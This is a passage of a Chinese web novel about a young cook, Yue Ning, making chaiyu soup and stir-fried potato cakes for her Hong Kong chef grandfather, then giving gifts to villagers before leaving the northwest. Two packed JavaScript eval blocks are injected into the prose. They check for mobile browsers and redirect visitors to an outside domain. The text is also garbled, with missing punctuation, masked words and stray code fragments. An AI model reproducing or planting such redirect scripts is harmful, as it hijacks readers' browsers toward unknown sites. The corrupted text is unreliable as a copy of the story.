“帮我摊几张洋芋饼饼。杨大年看了一眼正在闲聊的李巧妹，“昨天你婶子做的洋芋饼饼不好吃吧？再做一回，让他们知道咱们这里的洋芋饼饼不是那个味儿。 “好嘞！ 岳宁拿了几样蔬菜，又去挑了几个大土豆，洗干净。 岳宁把配菜切成细丝，罗国强微微张开了嘴巴，剔刺、煎鱼可以窥见功底，胡萝卜切得跟头发丝似得，这足可以炫耀了，至少他跟岳宁差得很远。 岳宁切了配菜，又去拿了磨板，磨土豆去。 “这是做什么？ “洋芋饼饼。 “我记得你昨天不是用熟土豆做的吗？ 岳宁笑：“熟土豆是因为我懒，早上煮了一锅土豆，晚上剥了皮碾碎和面，做出来绵软。这个生土豆磨出来的土豆泥，洋芋饼饼更有弹性也更香，炒来吃很好吃的。今天让你们吃正宗的炒洋芋饼饼。 昨天巧妹婶是偷懒，所以洋芋饼里洋芋少，面粉多。磨土豆泥是个费功夫的活，岳宁磨完土豆，调了面浆，摊了土豆饼，顺便摊了一张蛋皮，切丝做拆鱼羹的配菜。 杨大年见她手脚麻利，又让她去切羊肉片，等下爆炒。 “岳宁是客人，你真让她给你打下手啊？李巧妹埋怨男人。 “婶子，我怎么是客人？我可是咱们小杨沟的闺女。岳宁接过羊肉切了起来。 切了羊肉片，又帮着切了蒜片、葱段、辣椒、香菜…… 岳宁洗了刀和案板，揭开锅盖，香气冒了出来，鱼汤已经炖得奶白，她把鱼汤过滤了，洗了锅。 砂锅里的粥也已经开了花，岳宁把砂锅端到边上，砂锅保温性能好，靠着余温再煨一会儿。 她捏了捏浸泡的鱼肉，差不多了，煎香的鱼肉浸水，鱼肉就软了，用刀侧面一压一抹，鱼肉被压成了茸。 “宁宁，鱼肉煎炸过，是为了那股子香气。有的饭馆为了拆骨容易，会把煎好的鱼肉放进鱼汤里煮，煮软之后，再拆去细刺，但是福运楼为了保持香气，都是煎好就拆，而且不能久煮。你这样用水泡过， 香气也散了吧？” 罗国强说这话并不是想要说岳宁做拆鱼羹做得不正宗所谓行家一出手就知道有没有岳宁的刀工对火候的掌握他已经服气了只是提出自己的疑问。 张丽芬就不这么想了她说：“国强你说什么呢？宁宁又不像你在福运楼学了这么多年她能做到有个样子已经不错了你说的这些都是福运楼的不传之秘宁宁不懂也正常。” 岳宝华看了她一眼懒得跟一个除了小心思什么都不懂的人计较。 这时岳宁又烧起了锅子锅里添了少许油把鱼茸放进去煸炒：“如果煎好的鱼放鱼汤里煮香气会散泡冷水里香气跑得少一些多少会影响所以会有这一步把鱼肉里的水分炒干重新激发香气还有一个作用是让鱼茸更散。鱼羹就更加细腻。” 鱼茸收干再盛出锅壁上还沾了些略带焦黄的鱼茸岳宁也不涮锅子直接把奶白鱼汤倒了进去 “宁宁你怎么不洗锅就倒汤了？”张丽芬问。 岳宁盖上锅盖：“伯母知道咱们粤菜的镬气是什么吗？” “我当然知道就是旺火炒出来的烟火气。”张丽芬得意她要是这个都不知道还是厨师的老婆吗？ 岳宁转身去 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“对啊！他在粤城的时候常去图书馆他记了很多笔记整理了各地的菜谱也去各个餐馆吃饭各地风味都尝试。粤菜祖训就是有传统无正宗。”岳宁像是想到了什么她侧头跟正在盛羊头的杨大年说“大年叔洋芋饼饼我来炒吧？” “行啊！” 岳宁放入鱼茸：“粤菜发源地是粤城粤城是千年商都往来客商齐聚。爸爸从书里读到粤菜中的经典脆皮乳鸽的来源是源于西餐厨师被老板开除之后手里没钱买不起进口的西餐料汁只能用酱油代替黑胡椒酱用来煎牛排。后来又用西餐烤鸭胸的方法做乳鸽。后来乳鸽的做法又和烧鹅的做法融合 岳宝华笑问：“有传统又怎么说？” 岳宁把粥水倒入鱼汤锅铲搅动鱼汤鱼汤浓稠：“爷爷您先饮了这碗拆鱼羹我再跟您说。” 操场上几张课桌拼在一起桌上摆了陆续出锅的菜肴。 北京来的陈主任招呼大家：“来来来坐下吃饭了。” 岳宝华请了乔君贤一起去坐下,李巧妹端了拆鱼羹过来岳宁还在炒洋芋饼饼。 岳宝华的眼睛盯着远处正在炒菜的孙女“滋啦”声中锅里的食材抛起又落下孙女的炒菜手法不输自己的任何一个徒弟错了！其实跟自己这个几十年的老厨子也没什么区别。 炒菜讲究猛火快炒分秒之间洋芋饼饼已经落在两个大碗里。 岳宁端着碗问还在炒南瓜苗的杨大年：“叔你还有菜要炒吗？” “我也好了马上来。” 这边拆鱼羹的醇香还没有散去炒洋芋饼饼带着市井烟火气的浓香扑鼻而来。 一桌人全往岳宁这里看来岳宁放下炒洋芋饼饼在爷爷身边坐下。 李巧妹为贵客打了拆鱼羹这让岳宝华为难了拆鱼羹要吃刚出锅的这个洋芋饼饼虽然不是粤菜孙女炒菜的手法他知道这洋芋饼饼也要趁热吃。那到底先吃哪个？ 作者有话要说 第 14 章 有传统，无正宗 第14章有传统，无正宗 岳宝华纠结不过两秒，拿起勺子，送了一勺拆鱼羹进嘴里。 鱼肉只有鲜香没有腥味，鲫鱼肉比鲢鱼更加细嫩，细品之下有诱人的鲜甜，配菜丝切得如头发丝一般细，他却依然能吃出属于食材脆、甜、香、滑，层次分明又相辅相成。这俘获人心的醇香，这入口的顺滑…… 拆鱼羹是宝华楼的招牌，他做了几十年，每一步都经过细细地打磨，在反反复复中精益求精。丁胜强那么做拆鱼羹，岳宝华可以肯定，短期有效，长期在拆招牌。 他孙女的这碗拆鱼羹就不同了。明明食材跟他做的拆鱼羹相差很大，他再细细品了一勺，还是分不出自己那种遵循传统的拆鱼羹好，还是说宁宁的这个材料几乎全变的拆鱼羹好。 他边上的乔君贤勺子不停地往嘴里送，岳宝华记得，有一次刚好自己出去一会儿，这位少爷带着他的几位朋友来，是三徒弟给他做的拆鱼羹，楼家富的手艺和丁胜强不相上下。这位少爷当场没说，回去后打了个电话给他，问今天他是不是不在宝华楼？他当时还奇怪，这位少爷说，拆鱼羹不对，香气不正。 为此他还特地和楼家富各做了一碗拆鱼羹，仔细对比下，楼家富火候上还是缺了一点。这么挑的一张嘴，现在正吃得欢。 乔君贤吃了一口又一口，一碗拆鱼羹见底，他也很奇怪，他留学的时候，自己找了食材做，做出来的又腥又难吃就算了。 他在唐人街的粤菜馆也找到过拆鱼羹，明明他们用的食材都是跟宝华楼几乎一样，味道就是不对，不是汤的鲜味来自味精，就是鱼肉有股土腥味，配菜也没有层次感。他每次回港都会去宝华楼吃这碗拆鱼羹，就连宝华楼的厨子做出来都有差异，唯有华叔的那碗拆鱼羹才是他记忆里的味道。但这位岳小姐做的拆鱼羹，食材都不一样了，如果不是看见岳宁亲手做了这碗汤，他会以为这是岳宝华做的。 “华叔，岳小姐的这碗拆鱼羹有宝华楼的味道。”乔君贤说。 “乔先生，等有机会一定要去粤城的福运楼，福运楼的拆鱼羹用料特别考究，遵循古法，做得最是地道，我们国强的拆鱼羹深受顾客欢迎。”张丽芬趁机邀请乔君贤。 “妈，乔先生不是说用料，是说风味，您没吃出来吗 ？宁宁这道菜放我们福运楼，您能说它不像福运楼的菜吗？”罗国强打断了**话，他刚才喝第一口就觉得这个拆鱼羹很熟悉，宝华楼的味道，不就是福运楼的味道吗？可他从小被教，要怎么看鱼，要用什么配菜，坚持用马蹄粉勾芡，现在这一碗拆鱼羹，连鱼都改了，饮起来也有差异，偏偏他就觉得这该是福运楼菜单上的一道菜品。 张丽芬微微张开嘴，嘴里还留着鱼香，味道好像有差异，又好像没那么大的差异。 杨福根他们又不是客人，他们拿着大勺子，自己动手了。岳宁指着桌上的一个盐碟一个辣油碗：“陈同志、福根叔，你们要是觉得淡了，盐和辣，自己加。” 还在细想孙女是怎么做到用不一样的食材，烧出跟他一脉相承味道的岳宝华，听见孙女居然要叫人在拆鱼羹里加辣，他抬头看孙女，作为一个粤菜大厨，他实在不能接受拆鱼羹里加辣椒油，脑子里却是刚才孙女行云流水的刀工，和嘴里那还未散去的鱼茸香气。 他不是孩子的师傅，他现在只是个食客，他可以评判菜的好坏，不该评判别的厨子怎么看待自己做的菜。 岳宝华强自按压自己的冲动，罗国强忍不住：“最好不要加辣椒油，会坏了这碗汤的风味。宁宁的这碗汤，不能添也不能减，刚刚好。” 罗国强一脸真诚，让几只想要加调料的手停住了。 “没事，按照自己的口味加。”岳宁拿起辣椒油碟，舀了一勺进杨福根的碗里，“我爸跟我说，一方水土养一方人，如果这个人一直生活在一个地方，那么他的口味就很单一，咱们在西北长大，就喜欢吃咸的，喜欢吃口辣的。这碗拆鱼羹对大多数吃惯重口的人来说，就淡得没滋味了，会觉得好吃吗？没什么不能添不能减的，爱加就加，怎么好吃怎么来。” 她又把盐罐放到陈主任的面前：“陈同志您走得地方多，各地的菜肴都能接受了，但是北京的口味要比粤城重，要是觉得太淡，加点盐。” 陈主任喝了一口汤，最终决定捻了几粒盐进碗里，再搅一搅。 岳宝华看着那边几个人，惬意地喝着加了辣，又加了盐的拆鱼羹，陷入了沉默。 岳宁的做法打破了罗国强的认知，罗国强问：“宁宁，加了辣的拆鱼羹，还是粤菜吗？” “不 能算是了吧？但是我爸说，就像一个人喝茶，刚刚喝茶，不管多好的茶，都是苦的，那么刚开始不能说什么好就让他喝什么，而是应该从淡茶开始，让他能喝进去。只有喝进去了，一次两次，次数多了，他慢慢学会品了，就知道好坏了。他在福运楼的时候，如果是外地客人，他会让服务员问一句，哪儿的人，会在口味上略作调整，因为这个，他被罗爷爷骂过几次，他却屡教不改。 这些话确实是爸爸说的，想到这里岳宁心头又闷了起来，她上辈子的爸爸见外地游客在社交平台吐槽他们酒楼的菜不好吃，气急败坏，用小号骂回去：“去吃你的回锅肉，口水鸡，生啃辣椒也可以。新鲜的不要吃，非要吃重口味的。 她劝她爸，外地游客有自己的口味，她认为可以在菜单上给大家选口味，就像饮料的糖度一样。她爸差点跳起来，火爆地臭骂了她一通，说粤菜老祖宗的棺材板都按不住了。 到了这辈子，爸爸教她做菜的时候，厨子做菜不强求所有客人满意，至少要让大部分客人满意，粤城是通商之地，南来北往的客人多，口味也杂，有必要根据客人适当调整口味。 等她有了记忆，发现爸爸的理念跟上辈子的自己一样。自己上辈子能把以烧腊饭为主的广式快餐开遍全球，根据区域适当调整口味，也得做到不丢老广味道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912436|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岳宝华陷入沉思，岳宁跟他说：“爷爷，不吃洋芋饼饼吗？ 孙女提醒，岳宝华伸出筷子，洋芋饼饼到嘴边，浓郁的酱香夹杂着若有似的香气冲入鼻管，嘴里的口水丰沛起来，洋芋饼饼入嘴，软弹的面片带着若有似无脆。等等！这个洋芋饼饼让他很熟悉，熟悉到想起了自己炒的一碗牛河。 “岳宁，这个汤好喝。几条鲫鱼就能做出来这么好喝的汤，我回去叫你婶子也给做。杨福根说。 “福根**，你刚才没看岳宁怎么做的吗？你家秀娣就比我好一点点，叫她给你做这个汤，嫂子铁定问你，睡醒了没？李巧妹快人快语。 杨福根往杨大年看去：“那叫你家大年做给你吃。 杨大年端了炒南瓜尖过来，听见提到自己的名字，问：“说什么呢？ 杨福根接过他手里的炒南瓜尖：“你家巧妹，让你做这个汤给她吃。 杨大年伸出 手给大家看：“我十根手指头粗短成这样也就做做给劳动人民吃的菜这个鱼汤麻烦得要命只有地主老财、资本家这种剥削阶级才会折腾人……” 这次领导就是陪着资本家过来的李巧妹在桌底下踢自家男人。 腿被人踢了杨大年低头瞪自家婆娘：“你踢**嘛？我最多就煮个羊肉炒个洋芋饼饼你连洋芋饼饼都炒不好。” 李巧妹夹了一筷子炒洋芋饼饼：“你还真以为自己能炒好洋芋饼饼？也就比我强一些跟岳宁比可差远了。” 这话杨大年可不服还没坐下就拿起筷子夹了一筷子洋芋饼饼吃进嘴里杨大年筷子伸进那盘洋芋饼饼里翻了起来。 这是什么场合？李巧妹连忙用筷子打他的手：“你吃就吃翻什么翻？” 杨大年缩回了手就青红辣椒、蒜片、鸡蛋没有其他啊！他记得所有调料都是自己带的为什么岳宁炒得就这么香？ 此刻岳宁夹一块羊头肉放在爷爷的碗里：“爷爷蒜蓉羊头肉是大年叔的拿手菜我们西北的羔羊肉不腥不膻加香料卤了之后再用蒜蓉烧味道很好您试试？” 杨大年等她说完了问：“岳宁你洋芋饼饼里放了什么香料？” “镬气。”岳宁回他。 “什么？”杨大年没理解“啥气？” 岳宁跟他解释：“猛火快炒带出来的香味似焦未焦的烟火气是炒菜火候。” 杨大年是乡厨乡村的粗菜自然没这么讲究但是乡村的食材天然新鲜味道也不差。什么气什么火就算了。 岳宝华吃着羊头肉羊头肉肉皮软烂肉细嫩吃不出腥膻味蒜蓉酱恰到好处没有喧宾夺主里面的辣椒和孜然又给羊头肉肉增加了西北的粗犷风情。 他刚才那一口洋芋饼饼进嘴愣是从这个西北特有的洋芋饼饼里吃到了粤菜的烟火气跟现在这一口羊头肉完全不同。如果是宁宁来做这个羊头兴许味道相近 就地取材又没有丢下粤菜的风味。这就是粤菜的有传统无正宗？ 作者有话要说 第 15 章 礼物给谁。 第15章礼物给谁。 岳宝华在这里的时间有限，吃过饭，就安排去开岳志荣的坟，把骨灰盒起出来。 杨福根和六指阿根拿了铁锹，岳宁提着李巧妹给她准备香烛纸钱，上了山。 前几年移风易俗，平整坟地，不至于连个坟都不允许修，墓碑就没办法树了，好在岳志荣是火葬的，在一大堆土葬的坟边上，尺寸差距有点大，找起来毫不费力。 按照当地风俗，人死入土为安，上头推行火葬很多年一直推行不下去。 岳志荣临走前遗愿，要火葬。一来是起个带头作用，不管有没有用，好歹他是做了，二来却是为了以后迁葬回故乡方便。 岳宁点了香烛，烧了纸钱，跪拜后，撑开了伞。 杨福根和六指阿根一起挖开了岳志荣的坟，土一撬一撬地被挖走，终于露出了骨灰盒的一个角，岳宝华突然跪到地上，杨福根猝不及防，差点铁锹磕碰到岳宝华。 岳宝华双手挖着土，嘴里念着：“志荣啊！爸爸来接你了。爸爸带你和宁宁回家。” 岳宁想要拉他，岳宝华哪里肯听，岳宁只能撑着伞遮住阳光。 岳宝华终于把儿子的骨灰盒挖了出来，杨福根递上毛巾。 岳宝华像是给孩子擦脸一样，一点一点地把嵌在骨灰盒缝隙里的泥土擦了干净，他仔仔细细端详儿子的骨灰盒，眼泪未干的脸上带着笑容：“志荣，我们回家了。” 大约是跪得太久，岳宝华站起来的时候，晃了一下，岳宁一把撑住他，看着骨灰盒说：“爸爸，我们一起跟爷爷回家。” 岳宁撑着伞，岳宝华抱着骨灰盒，一起回去，回到家里，岳宝华把骨灰盒和照片放在一起，他看着儿子。 他今天见识到了宁宁的手艺，在这样艰苦的条件下，儿子都能教出这样宁宁，要是儿子在的话…… 自己只是个大厨，但是儿子可以成为大师。岳宝华抱住儿子的相框：“志荣啊！” 岳宁等岳宝华哭罢了，去绞了毛巾进来给爷爷：“爷爷擦把脸。” 岳宝华正在擦脸，李巧妹出现在门口：“岳老先生，百货公司把东西都送来了，您过去看看？” 岳宝华放下毛巾：“谢谢，我马上来。” “在学校，被褥也 送学校了。” 岳宁一脸不解地看向爷爷，岳宝华咳嗽了一声，哭得眼泪鼻涕，喉咙发干，他说：“你不是说大家都很照顾你吗？我让林先生帮忙买了一些礼品，给大家分一下，也算是表一表心意。” 岳宁没想过让爷爷替她还这个人情，像春梅婶一家的人情不是一包糖，几块鸡蛋糕可以还了的，她原本想着先去了港城，等自己挣到钱之后，再想办法。到时候资助春梅婶家的几个孩子读书也好，让他们去南方打工也行。 爷爷买了礼品，那就更好了，至少也能回报他们一二。 祖孙俩一起去小学，刚好碰上罗家母子准备搭来送货的卡车去县城乘车。 张丽芬看见岳宝华，跑过来，又是软语说：“华叔，我们娘俩过来真没坏心思……” “上车吧！别让司机等。”岳宝华没给她明确答案。 罗国强特地走到岳宁面前：“岳宁，我想尝尝你用咱们福运楼料做的拆鱼羹，你来了粤城，给我做一回，让我尝尝，行吗？” 岳宁半开玩笑：“你想跟我比就直说。” 罗国强急了：“没有，我就想知道，如果你用最好的材料，能做到什么程度。我哪能跟你比？” 岳宁看着罗国强的圆脸，这家伙看上去圆头圆脑没什么脾气，没想到有这个钻研劲儿。很好！自己去了港城，也需要个自己人，罗国强很不错。 “行，我们一起做，看看我们之间的差异在哪里？三人行必有我师吗？我这个野路子也要向你这个正统的学。” 这下罗国强满意了：“这话怎么说的？你的手艺我都没话说了。反正说好了。” 她指着把头探出窗外的司机师傅，横了他一眼：“别让司机师傅久等了，赶路呢！” 罗国强上了车，岳宁挥手。 送走母子俩，祖孙俩往里走，刚才吃饭的桌子上已经堆了几个蛇皮袋，看见岳宝华进来，县里的林主任陪着过来，蛇皮袋已经打开，林主任拿出一块用纸绳扎起的印花布料，十分稀罕地说：“岳老先生，这是现在最最紧俏的的确良布料。” “还有的确良布料啊？”就连陈主任也觉得稀罕，过来看看。 岳宁拿起一块布料，滑溜溜的化纤手感，鲜艳的印花。的确良时髦的确良高级，这阵风 终于也刮到了他们西北这个偏远的县城 这个年代，这个季节，男男女女都想要一件的确良的衬衫。 不管自己喜不喜欢，在这个年代的确良面料，送礼确实够有面子，她见一块浅蓝印花布料，又拿了一块鹅黄印花布，她说：“这块蓝的，给春梅婶做衬衫，这块黄的给秀秀做条连衣裙，她想要裙子很久了。 她又拿起两块不同花色的白色条纹布料：“这两块，忠义叔和阿彪父子一人一件衬衫。啊呀！这样的话元宝就没了…… “不是，不是！岳宁啊！早上你爷爷问的时候，我就算了，你们小队连带五保户一共三十一家，小于三口的，我算半份，只给布料不给糖，三口到五口的给一份，七口给多给一包糖，超过十个人的大家庭两块布料两包糖。你春梅婶家一家五块了，放了余量只怕也不够，不如先分，等分完了，有多再给你春梅婶家送去？李巧妹连忙打断她的话。 岳宁噗嗤一声笑出来：“巧妹婶，您这是在队里分粮食呢？平均分配？这是我爷爷替我谢谢大家这些年的照顾。我把东西给枣花婶，我谢她什么？谢她从早上出太阳骂我一回，晚上太阳落山再骂我一回？有这些我还不如给春梅婶，让秀秀多做两件衣裳。 李巧妹听见立马笑了出来：“你爷爷早就给你考虑好了，原本他想要电视机的，县里一下子调不到货，批了两辆自行车，说是给福根**和春梅。 李巧妹往墙角边一指，岳宁见两辆崭新的二十八寸自行车。 哎呦！不是之前还说没票吗？自行车都能弄过来？ 爷爷不知道什么时候到自行车边上，正在和福根**还有陈、林两位说话。 岳宁小跑过去，福根**见她过来，他说：“岳宁，跟你爷爷说，自行车你给谁我都管不着，你不能给我。我是党员，带动你爸学习是先进带后进，是党员起带头作用。我收你们这个车子，算是收**赂。 “我不是让陈先生和林先生作证了吗？是我感激您一直照顾宁宁父女。这么一辆自行车，根本没办法表达我的感激之情，请您收下吧！ 岳宁拉住岳宝华：“爷爷，您给福根叔一辆自行车，倒不如给我们爷孙给他写一封感谢信，感谢他这些年的帮助。自行车我给阿根 叔。阿根叔是队里的兽医咱们大队范围挺广的他还要去公社领防疫药品路程也不近给他让他方便些。” 昨天她一直说杨福根和陆春梅好是怕上头看见陆春梅闹杨福根招待不周两人会被批评。阿根叔这几年可没少帮她要是没有阿根叔带她去杀羊杀猪给她一点猪下水她兴许还长不到这么高呢！ 福根**让阿根叔去做兽医也是希望他有了份好活计能早日娶上老婆。可惜一转眼都五六年了眼见着阿根叔都已经三十好几了 所谓否极泰来希望总是在绝望后悄悄萌芽。 公社畜牧站有个很厉害的兽医叫葛月芹的当年就是她给阿根叔这群乡村兽医上的培训课。 本来葛月芹这样一个长得眉清目秀还有文化的女人跟六指阿根这个泥腿子屠夫没半点关系。 问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912437|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题就出在葛月芹结婚多年都没生出孩子。结婚三年没怀上她婆婆做主给她抱了个女儿又过了三年她的肚子依旧没动静她婆婆闹到畜牧站坐在门口边哭边骂骂她是不下蛋的母鸡说葛月芹要害得他们家**。 刚好碰上六指阿根去拿兽药见耐心教他本事的葛月芹被骂得脸色发白头上冒汗都说不出话来。 他火爆了像抓一头猪那样把那个婆娘拎起来那个婆娘吓破了胆。 没多久葛月芹离婚了而她那个前夫不出两个月又结婚了娶了公社卫生院里的一个护士。 娘家嫌弃葛月芹离婚丢人不让她回葛月芹只能住畜牧站。 一个长得清秀不能生孩子而离婚的独居女人会引来多少麻烦？葛月芹被一个二流子给盯上了。 阿根一个光棍帮葛月芹吓哭了那个婆娘后本来就有闲言碎语他不敢再自己出面只能求岳宁帮忙知道那个二流子会傍晚去找葛月芹岳宁就候着这个时间也去找葛月芹逮住机会把那个二流子揍得哭爹喊娘。 岳宁对外宣称是葛月芹帮她的羊治好了羊瘟她感激葛月芹接下去她给葛月芹送柴禾送下水都顺理成章。 葛月芹知道阿根请岳宁帮忙照顾她她时常做些糕饼给岳宁岳宁顺带给阿根。 目前 两人就在这个阶段，自己要走了，也没人给他们中间跑腿了。把车子给阿根，不知道他还要多久才能说开，不过他隔三差五要去公社，有辆自行车就方便多了。 “小岳这个做法最好。林主任连忙附和。 昨天晚上光吃洋芋饼饼，凑合着在小学，睡的都是大队**自家还有几个干部家里拿出来的被褥。自己倒是没什么，就是港城来的贵客，尤其是那位乔先生，北京来的陈主任说，他们家是港城数得上的富豪，是爱国港商。陈主任连夜让他跟县里领导汇报，领导今天一大早就安排送了吃的过来。 纵然是做了补救，领导还是担心怠慢贵客。若是老先生写这么一封感谢信，那是最好不过了。 杨福根不好意思：“写这个做啥啊？ “你带我爸爸写思想报告的认真劲儿上哪儿去了？就不许我们祖孙俩表扬你一句？岳宁拍了拍自行车座，“一封感谢信换一辆自行车，划算！等下我给阿根叔送去。 “调皮！岳宝华说了她一声。 李巧妹到岳宁身边：“是吧！春梅家都有自行车了，不比多几块布料，两包糖实惠？ “多给糖，多给布料，也不妨碍再给春梅婶自行车吧？我情愿把东西扔了，也不愿意给田枣花。不行啊？岳宁问李巧妹。 “行啊！行啊！我又没说不行，就是告诉你，你春梅婶还有其他。李巧妹连忙辩白。 这是人家爷爷出的钱，岳宁爱给谁就给谁，她又管不着。 只是？刚才她去通知岳家祖孙的时候，在路上碰见在田里上工的几个社员，岳宁家的事是他们大队新鲜出炉的热**。她又一直帮着接待客人，大家自然拦住她打听。 她吧啦吧啦说了一大堆，跟岳宁所在的生产队的人也说了，岳宁的爷爷买了一大堆的礼品，要挨家挨户谢谢他们对岳宁的照顾。 一个女人听见了，还问：“难不成她还给田枣花送礼？ “都有，都有！人家肚量很大的，我按照户头给报的数。李巧妹把岳宝华让县里的同志帮忙买多少东西，说了一番。 布料？糖果？他们这个山沟沟，大部分人家就是过年都舍不得买，听见了都一脸期待。 田枣花整日骂岳宁，自然有人说：“就算岳宁不计较，愿意给，枣花也没脸拿吧？ 田枣花白了一眼：“不要白不要。 想到这里李巧妹，默默地叹了口气，不知道等下田枣花知道每家每户都有就他们家没有会怎么样？ 作者有话要说 下一章入V，明天下午三点不更了，周四零点更新。 第 16 章 送礼物 第16章第16章 【送礼物】 大队里的广播响起,又到了晚间放工时间。 男男女女，三五成群地走在乡间的黄土路上。岳宁和阿发推着自行车，自行车后头各自挂了一个蛇皮袋,岳宝华跟在他们后面,前往岳宁家所在的生产队。 路过别的生产队时,岳宁和阿发跟人打招呼，还停下给大家发几颗糖。熟人问一句：“他们说你要去哪儿？” “港城。” “港城在哪儿？听说不是咱们的地盘？”这兄弟接过糖果，剥了红色的包装纸塞进嘴里。 “瞎说什么？当然是咱们的地盘。在粤城再南边一点,清朝时候，这个地方被英国人占了，英国人说要租99年，所以现在是英国人管着。既然是借的,以后肯定要还回来。”岳宁跟他解释。 “哦哦！那能看见洋鬼子了？你去看看洋鬼子是不是长得那么高？”这个兄弟踮起脚比划了一下,“还有，鼻子是不是那么长？” 这里太偏僻了,人们对外面世界的认知，都来自听广播或者开社员大会时听干部念报纸。外国人长啥样全靠想象。岳宁想告诉他，他比划得保守了。可自己的常识又是从哪里来的呢？岳宁说：“等我去了港城,拍了照片给你们寄过来,让你看看洋鬼子啥样。” “说好了啊！” “说好了，我先回去了啊！” 岳宁继续往生产队走去，生产队里已经炸开了锅。李巧妹说岳宁的爷爷托人买了城里最时兴的的确良布料，他们生产队每家每户都有份。这会儿大家的脖子伸得比鸭脖子还长，甚至等不及的都跑到陆春梅家门口。谁让陆春梅家是他们生产队路口的第一家呢？ 本来每天放工回来,陆春梅要做晚饭,今天趁着太阳还没下山，坐在门口做针线活。这会儿一群男男女女坐在他们家石头洗衣台上,凭着想象谈论着离他们**之遥的港城。 杨有财骄傲地说：“今天我放羊的时候，那个港城来的后生跟我问路，我就问他了，他告诉我，港城人的家里，家家户户都有电视机。你们知道港城普通老百姓工钱多少吗？” “多少？” “一千五。”杨有财这话一出口。 “一年一千五，攒两年我就能盖房子……” “什么一年，人家一个月就挣一千五！”有人忍不住大喊。 田枣花拿着鞋底走了过来：“什么一千五？” “说岳宁要去的港城，那里普通老百姓一个月一千五。家家户户都有电视机。” 年轻人去公社见过电视机，对他们来说，电视机只有公家才有，怎么可能进普通人家呢？ “难怪呢？岳宁的爷爷买四十块的确良料子连眼都不眨一下。他这个年纪不能算壮劳力了吧？我们这里工分要打折，他的工钱没有一千五了吧？”有人问。 六指阿根早上帮忙杀了羊，下午又和杨福根把岳志荣的骨灰盒挖了出来。晚上自然不会去蹭晚饭，他一个光棍，随便扒拉两口就行。吃过晚饭，见这边人多，就来凑个热闹。 他说：“岳宁的爷爷一千五？人家一万五都有。” “一万五，我的老天爷啊！咱们一个生产队全部加起来都没这么多吧？” 六指阿根又从口袋里摸出香烟，给在场的几个人发烟。正划了火柴要点烟，其他人等不及了，说：“一个老头子，怎么会有一万五？” 六指阿根抽了一口烟：“我也是在边上听了几句，岳宁的爷爷在港城有家酒楼，不是在那家酒楼干活，而是他是那家酒楼的老板。” “那不是地主老财吗？” “是啊！人家港城又不斗地主。他就是个资本家，有钱得很。今天岳宁给他们露了一手，做了一碗汤……”六指阿根形容完那碗汤，问他们，“你们说，穷苦人家谁会吃这么费事劳神的汤？” “这么说来，岳宁要去当人家小姐喽？”有个女人问，问过之后好似想起什么，转过头问正在给衣服缝扣子的陆春梅，“春梅，你平时这么照顾岳宁，人家做了小姐，总归要报答你吧？” 陆春梅飞针走线，头也没抬：“他们父女俩来西北，我婆婆就帮着小岳带孩子了，小岳也时常帮我们家干活。就是邻里之间互相帮忙，她爸走了，她力气大，平时给我们家挑水，摘了野菜也常给我家送来。” “话是这么说，我多少觉得岳宁有点不分亲疏，巧妹说，她连枣花家都准备了一模一样的东西，这算什么事？” 田枣花听见这话，把鞋底往凳子上一拍：“这话说的，搞得好像春梅多疼岳宁似的，要真疼，她爸死的时候，把她领回家啊？平时一碗面，一个鸡蛋，算得上什么？” 田枣花弯腰看陆春梅正在缝的衣服，这是本地细棉格子土布。看见喂完猪的秀秀走过来， 田枣花故意大声问：“这是做了让秀秀相亲穿呢？” 秀秀才十六岁，在场这么多人呢！听见这话臊得脸通红，跺脚说：“你瞎说什么呢？我妈说岳宁姐要回城了，总不能让她满身补丁地回去？给岳宁姐做的。” “秀秀，晚饭做好了没？” “我爸在烧呢！”秀秀白了一眼田枣花，进屋去了。 陆春梅咬断了线，继续缝下一颗扣子。田枣花捏着这件衣服说：“岳宁都要去做大小姐了，以后穿不完的的确良，会穿你这种土里土气的衣服吗？” 陆春梅昨天还跟田枣花吵过架，今天她又来阴阳怪气，陆春梅火大了，拉过衣服，瞪她：“我用得着你操心啊？” “你发什么脾气啊？我就随口问问。” 眼见两人要吵起来，有人说：“来了，来了，岳宁来了。” 大家齐刷刷地站了起来，往路口看去，见岳宁正推着车往上走。 这么多人，可把岳宁吓了一跳：“哎呦，大家怎么都在春梅婶家门口？” 就算是真的在等她送的确良，大家也不好意思承认。 只有六指阿根，光棍一条，口无遮拦：“听说你爷爷给大家买了的确良布料，都在这里等呢！” 六指阿根这话一出，让大家都尴尬起来。岳宁停下自行车：“这样最好了，省得我一家一家跑了。” “元宝。”她拿出一包糖，招手叫来了陆春梅的小儿子元宝，“元宝，分糖去。” 元宝接过糖，岳宁先剥了糖纸往他嘴里塞了一颗。元宝先想到跟他一起玩的孩子，被陆春梅一把拉住：“先给三奶奶。” 元宝去分糖，岳宁问陆春梅：“秀秀呢？” 提起秀秀，秀秀从屋里跑出来：“岳宁姐。” 岳宁拿出那块给她选的布料，比划给她看：“这块布料好看，让你妈给你做条连衣裙。” 秀秀接过布料，被鲜艳的印花吸引，转头问陆春梅：“妈，好看不？” “好看。” 岳宁又去拿了三块布料、两包糖到陆春梅身边，塞到陆春梅手里：“婶儿，这块蓝的，你做件衬衫。这两块给咱叔和阿彪。” 